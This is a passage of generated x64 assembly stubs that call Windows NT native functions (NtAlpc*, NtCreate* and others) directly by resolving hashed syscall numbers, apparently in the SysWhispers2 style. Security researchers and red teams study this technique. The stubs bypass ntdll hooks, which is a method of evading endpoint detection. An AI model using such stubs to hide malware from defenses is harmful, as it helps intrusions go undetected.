mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AD8DD509h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateLocallyUniqueId ENDP
NtAllocateReserveObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01F36207Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateReserveObject ENDP
NtAllocateUserPhysicalPages PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 069ACB6E0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateUserPhysicalPages ENDP
NtAllocateUuids PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 017010991h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateUuids ENDP
NtAllocateVirtualMemoryEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BE8EF870h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateVirtualMemoryEx ENDP
NtAlpcAcceptConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02CFFAFF0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcAcceptConnectPort ENDP
NtAlpcCancelMessage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 029095C96h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCancelMessage ENDP
NtAlpcConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 064F27560h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcConnectPort ENDP
NtAlpcConnectPortEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01193CDC7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcConnectPortEx ENDP
NtAlpcCreatePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05CB624BAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCreatePort ENDP
NtAlpcCreatePortSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0028805E1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCreatePortSection ENDP
NtAlpcCreateResourceReserve PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 030A1CDFBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCreateResourceReserve ENDP
NtAlpcCreateSectionView PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 036075991h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCreateSectionView ENDP
NtAlpcCreateSecurityContext PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A038BFA8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcCreateSecurityContext ENDP
NtAlpcDeletePortSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0CA9E0ACDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcDeletePortSection ENDP
NtAlpcDeleteResourceReserve PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A4AB842Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcDeleteResourceReserve ENDP
NtAlpcDeleteSectionView PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09DA8AE02h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcDeleteSectionView ENDP
NtAlpcDeleteSecurityContext PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0160C099Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcDeleteSecurityContext ENDP
NtAlpcDisconnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0982E8240h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcDisconnectPort ENDP
NtAlpcImpersonateClientContainerOfPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01EF35938h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcImpersonateClientContainerOfPort ENDP
NtAlpcImpersonateClientOfPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 020B30718h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcImpersonateClientOfPort ENDP
NtAlpcOpenSenderProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0763C4792h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcOpenSenderProcess ENDP
NtAlpcOpenSenderThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01630D892h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcOpenSenderThread ENDP
NtAlpcQueryInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03CAA11F9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcQueryInformation ENDP
NtAlpcQueryInformationMessage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 06C089168h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcQueryInformationMessage ENDP
NtAlpcRevokeSecurityContext PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0374A00CAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcRevokeSecurityContext ENDP
NtAlpcSendWaitReceivePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02232C12Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcSendWaitReceivePort ENDP
NtAlpcSetInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 020B623DBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAlpcSetInformation ENDP
NtAreMappedFilesTheSame PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F7D5DC95h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAreMappedFilesTheSame ENDP
NtAssignProcessToJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08AD49849h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAssignProcessToJobObject ENDP
NtAssociateWaitCompletionPacket PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A79DC740h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAssociateWaitCompletionPacket ENDP
NtCallEnclave PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0832EB365h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCallEnclave ENDP
NtCancelIoFileEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 088DBBA61h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelIoFileEx ENDP
NtCancelSynchronousIoFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05899AEC0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelSynchronousIoFile ENDP
NtCancelTimer2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08D57E901h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelTimer2 ENDP
NtCancelWaitCompletionPacket PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B79D8731h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelWaitCompletionPacket ENDP
NtCommitComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C436367Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCommitComplete ENDP
NtCommitEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DF58F0CBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCommitEnlistment ENDP
NtCommitRegistryTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00B434B91h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCommitRegistryTransaction ENDP
NtCommitTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 058925A07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCommitTransaction ENDP
NtCompactKeys PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04F9B8CCCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompactKeys ENDP
NtCompareObjects PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00FAE7547h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompareObjects ENDP
NtCompareSigningLevels PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 030870C2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompareSigningLevels ENDP
NtCompareTokens PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0319712C7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompareTokens ENDP
NtCompleteConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EF80CC1Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompleteConnectPort ENDP
NtCompressKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 098DCBB67h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCompressKey ENDP
NtConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 064B242E0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtConnectPort ENDP
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01D942F29h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter ENDP
NtCreateDebugObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08C3E7F72h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateDebugObject ENDP
NtCreateDirectoryObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08A3484B9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateDirectoryObject ENDP
NtCreateDirectoryObjectEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08C8DD25Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateDirectoryObjectEx ENDP
NtCreateEnclave PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FAA509CEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateEnclave ENDP
NtCreateEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 037D92A4Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateEnlistment ENDP
NtCreateEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 074D44C1Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateEventPair ENDP
NtCreateIRTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03BF73D5Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateIRTimer ENDP
NtCreateIoCompletion PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05CD07D83h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateIoCompletion ENDP
NtCreateJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09AB7F848h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateJobObject ENDP
NtCreateJobSet PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02CA11E1Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateJobSet ENDP
NtCreateKeyTransacted PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 011AD2FFFh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateKeyTransacted ENDP
NtCreateKeyedEvent PROC
